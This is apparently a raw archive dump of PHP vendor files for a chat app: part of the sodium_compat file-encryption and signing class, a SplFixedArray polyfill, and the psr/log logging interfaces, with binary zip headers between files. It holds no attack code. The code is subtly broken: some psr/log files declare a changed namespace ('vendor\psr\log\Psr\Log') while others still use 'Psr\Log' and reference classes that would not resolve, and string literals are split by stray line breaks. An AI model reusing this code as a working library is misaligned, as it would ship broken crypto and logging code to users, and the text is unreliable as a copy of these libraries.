         * Set the cursor to the end of the first half-block. All future
bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
            throw new SodiumException('Could not read input
file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input
file');
            }
            $pBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * @param ParagonIE_Sodium_Core_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify(
        ParagonIE_Sodium_Core_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input
file');
            }
            $state->update($ciphertext);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        $res = ParagonIE_Sodium_Core_Util::verify_16($tag,
$state->finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * Update a hash context with the contents of a file, without
     * loading the entire file into memory.
     *
     * @param resource|object $hash
     * @param resource $fp
     * @param int $size
     * @return resource|object Resource on PHP < 7.2, HashContext object
on PHP >= 7.2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress PossiblyInvalidArgument
     *                 PHP 7.2 changes from a resource to an object,
     *                 which causes Psalm to complain about an error.
     * @psalm-suppress TypeCoercion
     *                 Ditto.
     */
    public static function updateHashWithFile($hash, $fp, $size = 0)
    {
        /* Type checks: */
        if (PHP_VERSION_ID < 70200) {
            if (!is_resource($hash)) {
                throw new TypeError('Argument 1 must be a resource,
' . gettype($hash) . ' given.');
            }
        } else {
            if (!is_object($hash)) {
                throw new TypeError('Argument 1 must be an object (PHP
7.2+), ' . gettype($hash) . ' given.');
            }
        }

        if (!is_resource($fp)) {
            throw new TypeError('Argument 2 must be a resource, '
. gettype($fp) . ' given.');
        }
        if (!is_int($size)) {
            throw new TypeError('Argument 3 must be an integer, '
. gettype($size) . ' given.');
        }

        /** @var int $originalPosition */
        $originalPosition = self::ftell($fp);

        // Move file pointer to beginning of file
        fseek($fp, 0, SEEK_SET);
        for ($i = 0; $i < $size; $i += self::BUFFER_SIZE) {
            /** @var string|bool $message */
            $message = fread(
                $fp,
                ($size - $i) > self::BUFFER_SIZE
                    ? $size - $i
                    : self::BUFFER_SIZE
            );
            if (!is_string($message)) {
                throw new SodiumException('Unexpected error reading
from file.');
            }
            /** @var string $message */
            /** @psalm-suppress InvalidArgument */
            hash_update($hash, $message);
        }
        // Reset file pointer's position
        fseek($fp, $originalPosition, SEEK_SET);
        return $hash;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result. (32-bit)
     *
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    private static function sign_core32($filePath, $secretKey)
    {
        /** @var int|bool $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file
size');
        }
        /** @var int $size */

        /** @var resource|bool $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for
reading');
        }
        /** @var resource $fp */

        /** @var string $az */
        $az = hash('sha512', self::substr($secretKey, 0, 32),
true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        $hs = hash_init('sha512');
        hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $nonceHash */
        $nonceHash = hash_final($hs, true);

        /** @var string $pk */
        $pk = self::substr($secretKey, 32, 32);

        /** @var string $nonce */
        $nonce = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($nonceHash) .
self::substr($nonceHash, 32);

        /** @var string $sig */
        $sig = ParagonIE_Sodium_Core32_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core32_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init('sha512');
        hash_update($hs, self::substr($sig, 0, 32));
        hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $hramHash */
        $hramHash = hash_final($hs, true);

        /** @var string $hram */
        $hram = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hramHash);

        /** @var string $sigAfter */
        $sigAfter = ParagonIE_Sodium_Core32_Ed25519::sc_muladd($hram, $az,
$nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     *
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result. (32-bit)
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws Exception
     */
    public static function verify_core32($sig, $filePath, $publicKey)
    {
        /* Security checks */
        if
(ParagonIE_Sodium_Core32_Ed25519::check_S_lt_L(self::substr($sig, 32, 32)))
{
            throw new SodiumException('S < L - Invalid
signature');
        }
        if (ParagonIE_Sodium_Core32_Ed25519::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an
order');
        }
        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var int|bool $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file
size');
        }
        /** @var int $size */

        /** @var resource|bool $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for
reading');
        }
        /** @var resource $fp */

        /** @var bool The original value of
ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up
verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */
        $A =
ParagonIE_Sodium_Core32_Ed25519::ge_frombytes_negate_vartime($publicKey);

        $hs = hash_init('sha512');
        hash_update($hs, self::substr($sig, 0, 32));
        hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hDigest) .
self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core32_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core32_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * Encrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt_core32($ifp, $ofp, $mlen,
$nonce, $key)
    {
        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException('Could not read input
file');
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 > 64 -
ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 -
ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0,
$mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat("\x00", 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state->update($cBlock);
        fwrite($ofp, $cBlock);
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /*
         * Set the cursor to the end of the first half-block. All future
bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException('Could not read input
file');
            }
            $cBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state->update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state->finish(),
ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt_core32($ifp, $ofp, $mlen,
$nonce, $key)
    {
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException('Could not read input
file');
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new
ParagonIE_Sodium_Core32_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify_core32($state, $ifp, $tag, $mlen)) {
            throw new SodiumException('Invalid MAC');
        }

        /*
         * Set the cursor to the end of the first half-block. All future
bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
            throw new SodiumException('Could not read input
file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input
file');
            }
            $pBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * One-time message authentication for 32-bit systems
     *
     * @param ParagonIE_Sodium_Core32_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify_core32(
        ParagonIE_Sodium_Core32_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input
file');
            }
            $state->update($ciphertext);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        $res = ParagonIE_Sodium_Core32_Util::verify_16($tag,
$state->finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * @param resource $resource
     * @return int
     * @throws SodiumException
     */
    private static function ftell($resource)
    {
        $return = ftell($resource);
        if (!is_int($return)) {
            throw new SodiumException('ftell() returned false');
        }
        return (int) $return;
    }
}
PK	�[k=�Rchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/PHP52/SplFixedArray.phpnu�[���<?php

if (class_exists('SplFixedArray')) {
    return;
}

/**
 * The SplFixedArray class provides the main functionalities of array. The
 * main differences between a SplFixedArray and a normal PHP array is that
 * the SplFixedArray is of fixed length and allows only integers within
 * the range as indexes. The advantage is that it allows a faster array
 * implementation.
 */
class SplFixedArray implements Iterator, ArrayAccess, Countable
{
    /** @var array<int, mixed> */
    private $internalArray = array();

    /** @var int $size */
    private $size = 0;

    /**
     * SplFixedArray constructor.
     * @param int $size
     */
    public function __construct($size = 0)
    {
        $this->size = $size;
        $this->internalArray = array();
    }

    /**
     * @return int
     */
    public function count()
    {
        return count($this->internalArray);
    }

    /**
     * @return array
     */
    public function toArray()
    {
        ksort($this->internalArray);
        return (array) $this->internalArray;
    }

    /**
     * @param array $array
     * @param bool $save_indexes
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     */
    public static function fromArray(array $array, $save_indexes = true)
    {
        $self = new SplFixedArray(count($array));
        if($save_indexes) {
            foreach($array as $key => $value) {
                $self[(int) $key] = $value;
            }
        } else {
            $i = 0;
            foreach (array_values($array) as $value) {
                $self[$i] = $value;
                $i++;
            }
        }
        return $self;
    }

    /**
     * @return int
     */
    public function getSize()
    {
        return $this->size;
    }

    /**
     * @param int $size
     * @return bool
     */
    public function setSize($size)
    {
        $this->size = $size;
        return true;
    }

    /**
     * @param string|int $index
     * @return bool
     */
    public function offsetExists($index)
    {
        return array_key_exists((int) $index, $this->internalArray);
    }

    /**
     * @param string|int $index
     * @return mixed
     */
    public function offsetGet($index)
    {
        /** @psalm-suppress MixedReturnStatement */
        return $this->internalArray[(int) $index];
    }

    /**
     * @param string|int $index
     * @param mixed $newval
     * @psalm-suppress MixedAssignment
     */
    public function offsetSet($index, $newval)
    {
        $this->internalArray[(int) $index] = $newval;
    }

    /**
     * @param string|int $index
     */
    public function offsetUnset($index)
    {
        unset($this->internalArray[(int) $index]);
    }

    /**
     * Rewind iterator back to the start
     * @link https://php.net/manual/en/splfixedarray.rewind.php
     * @return void
     * @since 5.3.0
     */
    public function rewind()
    {
        reset($this->internalArray);
    }

    /**
     * Return current array entry
     * @link https://php.net/manual/en/splfixedarray.current.php
     * @return mixed The current element value.
     * @since 5.3.0
     */
    public function current()
    {
        /** @psalm-suppress MixedReturnStatement */
        return current($this->internalArray);
    }

    /**
     * Return current array index
     * @return int The current array index.
     */
    public function key()
    {
        return key($this->internalArray);
    }

    /**
     * @return void
     */
    public function next()
    {
        next($this->internalArray);
    }

    /**
     * Check whether the array contains more elements
     * @link https://php.net/manual/en/splfixedarray.valid.php
     * @return bool true if the array contains any more elements, false
otherwise.
     */
    public function valid()
    {
        if (empty($this->internalArray)) {
            return false;
        }
        $result = next($this->internalArray) !== false;
        prev($this->internalArray);
        return $result;
    }

    /**
     * Do nothing.
     */
    public function __wakeup()
    {
        // NOP
    }
}PK	�[l����Nchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/SodiumException.phpnu�[���<?php

if (!class_exists('SodiumException', false)) {
    /**
     * Class SodiumException
     */
    class SodiumException extends Exception
    {

    }
}
PK	�[��114chat/sendMessage/pusher/vendor/psr/log/composer.jsonnu�[���{
    "name": "psr/log",
    "description": "Common interface for logging
libraries",
    "keywords": ["psr", "psr-3",
"log"],
    "homepage": "https://github.com/php-fig/log",
    "license": "MIT",
    "authors": [
        {
            "name": "PHP-FIG",
            "homepage": "http://www.php-fig.org/"
        }
    ],
    "require": {
        "php": ">=5.3.0"
    },
    "autoload": {
        "psr-4": {
            "Psr\\Log\\": "Psr/Log/"
        }
    },
    "extra": {
        "branch-alias": {
            "dev-master": "1.1.x-dev"
        }
    }
}
PK	�[p��O==.chat/sendMessage/pusher/vendor/psr/log/LICENSEnu�[���Copyright
(c) 2012 PHP Framework Interoperability Group

Permission is hereby granted, free of charge, to any person obtaining a
copy 
of this software and associated documentation files (the
"Software"), to deal
in the Software without restriction, including without limitation the
rights 
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 
copies of the Software, and to permit persons to whom the Software is 
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in 
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
PK	�[�GlAchat/sendMessage/pusher/vendor/psr/log/Psr/Log/AbstractLogger.phpnu�[���<?php

namespace Psr\Log;

/**
 * This is a simple Logger implementation that other Loggers can inherit
from.
 *
 * It simply delegates all log-level-specific methods to the `log` method
to
 * reduce boilerplate code that a simple Logger that does the same thing
with
 * messages regardless of the error level has to implement.
 */
abstract class AbstractLogger implements LoggerInterface
{
    /**
     * System is unusable.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function emergency($message, array $context = array())
    {
        $this->log(LogLevel::EMERGENCY, $message, $context);
    }

    /**
     * Action must be taken immediately.
     *
     * Example: Entire website down, database unavailable, etc. This should
     * trigger the SMS alerts and wake you up.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function alert($message, array $context = array())
    {
        $this->log(LogLevel::ALERT, $message, $context);
    }

    /**
     * Critical conditions.
     *
     * Example: Application component unavailable, unexpected exception.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function critical($message, array $context = array())
    {
        $this->log(LogLevel::CRITICAL, $message, $context);
    }

    /**
     * Runtime errors that do not require immediate action but should
typically
     * be logged and monitored.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function error($message, array $context = array())
    {
        $this->log(LogLevel::ERROR, $message, $context);
    }

    /**
     * Exceptional occurrences that are not errors.
     *
     * Example: Use of deprecated APIs, poor use of an API, undesirable
things
     * that are not necessarily wrong.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function warning($message, array $context = array())
    {
        $this->log(LogLevel::WARNING, $message, $context);
    }

    /**
     * Normal but significant events.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function notice($message, array $context = array())
    {
        $this->log(LogLevel::NOTICE, $message, $context);
    }

    /**
     * Interesting events.
     *
     * Example: User logs in, SQL logs.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function info($message, array $context = array())
    {
        $this->log(LogLevel::INFO, $message, $context);
    }

    /**
     * Detailed debug information.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function debug($message, array $context = array())
    {
        $this->log(LogLevel::DEBUG, $message, $context);
    }
}
PK	�[
�X1``Kchat/sendMessage/pusher/vendor/psr/log/Psr/Log/InvalidArgumentException.phpnu�[���<?php

namespace Psr\Log;

class InvalidArgumentException extends \InvalidArgumentException
{
}
PK	�[��|n88Gchat/sendMessage/pusher/vendor/psr/log/Psr/Log/LoggerAwareInterface.phpnu�[���<?php

namespace vendor\psr\log\Psr\Log;

/**
 * Describes a logger-aware instance.
 */
interface LoggerAwareInterface
{
    /**
     * Sets a logger instance on the object.
     *
     * @param LoggerInterface $logger
     *
     * @return void
     */
    public function setLogger(LoggerInterface $logger);
}
PK	�[@b��Cchat/sendMessage/pusher/vendor/psr/log/Psr/Log/LoggerAwareTrait.phpnu�[���<?php

namespace vendor\psr\log\Psr\Log;

/**
 * Basic Implementation of LoggerAwareInterface.
 */
trait LoggerAwareTrait
{
    /**
     * The logger instance.
     *
     * @var LoggerInterface
     */
    protected $logger;

    /**
     * Sets a logger.
     *
     * @param LoggerInterface $logger
     */
    public function setLogger(LoggerInterface $logger)
    {
        $this->logger = $logger;
    }
}
PK	�[L��/99Bchat/sendMessage/pusher/vendor/psr/log/Psr/Log/LoggerInterface.phpnu�[���<?php

namespace vendor\psr\log\Psr\Log;

/**
 * Describes a logger instance.
 *
 * The message MUST be a string or object implementing __toString().
 *
 * The message MAY contain placeholders in the form: {foo} where foo
 * will be replaced by the context data in key "foo".
 *
 * The context array can contain arbitrary data. The only assumption that
 * can be made by implementors is that if an Exception instance is given
 * to produce a stack trace, it MUST be in a key named
"exception".
 *
 * See
https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md
 * for the full interface specification.
 */
interface LoggerInterface
{
    /**
     * System is unusable.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function emergency($message, array $context = array());

    /**
     * Action must be taken immediately.
     *
     * Example: Entire website down, database unavailable, etc. This should
     * trigger the SMS alerts and wake you up.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function alert($message, array $context = array());

    /**
     * Critical conditions.
     *
     * Example: Application component unavailable, unexpected exception.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function critical($message, array $context = array());

    /**
     * Runtime errors that do not require immediate action but should
typically
     * be logged and monitored.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function error($message, array $context = array());

    /**
     * Exceptional occurrences that are not errors.
     *
     * Example: Use of deprecated APIs, poor use of an API, undesirable
things
     * that are not necessarily wrong.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function warning($message, array $context = array());

    /**
     * Normal but significant events.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function notice($message, array $context = array());

    /**
     * Interesting events.
     *
     * Example: User logs in, SQL logs.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function info($message, array $context = array());

    /**
     * Detailed debug information.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function debug($message, array $context = array());

    /**
     * Logs with an arbitrary level.
     *
     * @param mixed   $level
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     *
     * @throws \Psr\Log\InvalidArgumentException
     */
    public function log($level, $message, array $context = array());
}
PK	�[�W�jW
W
>chat/sendMessage/pusher/vendor/psr/log/Psr/Log/LoggerTrait.phpnu�[���<?php

namespace Psr\Log;

/**
 * This is a simple Logger trait that classes unable to extend
AbstractLogger
 * (because they extend another class, etc) can include.
 *
 * It simply delegates all log-level-specific methods to the `log` method
to
 * reduce boilerplate code that a simple Logger that does the same thing
with
 * messages regardless of the error level has to implement.
 */
trait LoggerTrait
{
    /**
     * System is unusable.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function emergency($message, array $context = array())
    {
        $this->log(LogLevel::EMERGENCY, $message, $context);
    }

    /**
     * Action must be taken immediately.
     *
     * Example: Entire website down, database unavailable, etc. This should
     * trigger the SMS alerts and wake you up.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function alert($message, array $context = array())
    {
        $this->log(LogLevel::ALERT, $message, $context);
    }

    /**
     * Critical conditions.
     *
     * Example: Application component unavailable, unexpected exception.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function critical($message, array $context = array())
    {
        $this->log(LogLevel::CRITICAL, $message, $context);
    }

    /**
     * Runtime errors that do not require immediate action but should
typically
     * be logged and monitored.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function error($message, array $context = array())
    {
        $this->log(LogLevel::ERROR, $message, $context);
    }

    /**
     * Exceptional occurrences that are not errors.
     *
     * Example: Use of deprecated APIs, poor use of an API, undesirable
things
     * that are not necessarily wrong.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function warning($message, array $context = array())
    {
        $this->log(LogLevel::WARNING, $message, $context);
    }

    /**
     * Normal but significant events.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function notice($message, array $context = array())
    {
        $this->log(LogLevel::NOTICE, $message, $context);
    }

    /**
     * Interesting events.
     *
     * Example: User logs in, SQL logs.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function info($message, array $context = array())
    {
        $this->log(LogLevel::INFO, $message, $context);
    }

    /**
     * Detailed debug information.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function debug($message, array $context = array())
    {
        $this->log(LogLevel::DEBUG, $message, $context);
    }

    /**
     * Logs with an arbitrary level.
     *
     * @param mixed  $level
     * @param string $message
     * @param array  $context
     *
     * @return void
     *
     * @throws \Psr\Log\InvalidArgumentException
     */
    abstract public function log($level, $message, array $context =
array());
}
PK	�[V�yA__;chat/sendMessage/pusher/vendor/psr/log/Psr/Log/LogLevel.phpnu�[���<?php

namespace vendor\psr\log\Psr\Log;

/**
 * Describes log levels.
 */
class LogLevel
{
    const EMERGENCY = 'emergency';
    const ALERT     = 'alert';
    const CRITICAL  = 'critical';
    const ERROR     = 'error';
    const WARNING   = 'warning';
    const NOTICE    = 'notice';
    const INFO      = 'info';
    const DEBUG     = 'debug';
}
PK	�[���I��=chat/sendMessage/pusher/vendor/psr/log/Psr/Log/NullLogger.phpnu�[���<?php

namespace Psr\Log;

/**
 * This Logger can be used to avoid conditional log calls.
 *
 * Logging should always be optional, and if no logger is provided to your
 * library creating a NullLogger instance to have something to throw logs
at
 * is a good way to avoid littering your code with `if ($this->logger) {
}`
 * blocks.
 */
class NullLogger extends AbstractLogger
{
    /**
     * Logs with an arbitrary level.
     *
     * @param mixed  $level
     * @param string $message
     * @param array  $context
     *
     * @return void
     *
     * @throws \Psr\Log\InvalidArgumentException
     */
    public function log($level, $message, array $context = array())
    {
        // noop
    }
}
PK	�[HTg��Achat/sendMessage/pusher/vendor/psr/log/Psr/Log/Test/DummyTest.phpnu�[���<?php

namespace Psr\Log\Test;

/**
 * This class is internal and does not follow the BC promise.
 *
 * Do NOT use this class in any way.
 *
 * @internal
 */
class DummyTest
{
    public function __toString()
    {
        return 'DummyTest';
    }
}
PK	�[I\�))Kchat/sendMessage/pusher/vendor/psr/log/Psr/Log/Test/LoggerInterfaceTest.phpnu�[���<?php

namespace Psr\Log\Test;

use Psr\Log\LoggerInterface;
use Psr\Log\LogLevel;
use PHPUnit\Framework\TestCase;

/**
 * Provides a base test class for ensuring compliance with the
LoggerInterface.
 *
 * Implementors can extend the class and implement abstract methods to run
this
 * as part of their test suite.
 */
abstract class LoggerInterfaceTest extends TestCase
{
    /**
     * @return LoggerInterface
     */
    abstract public function getLogger();

    /**
     * This must return the log messages in order.
     *
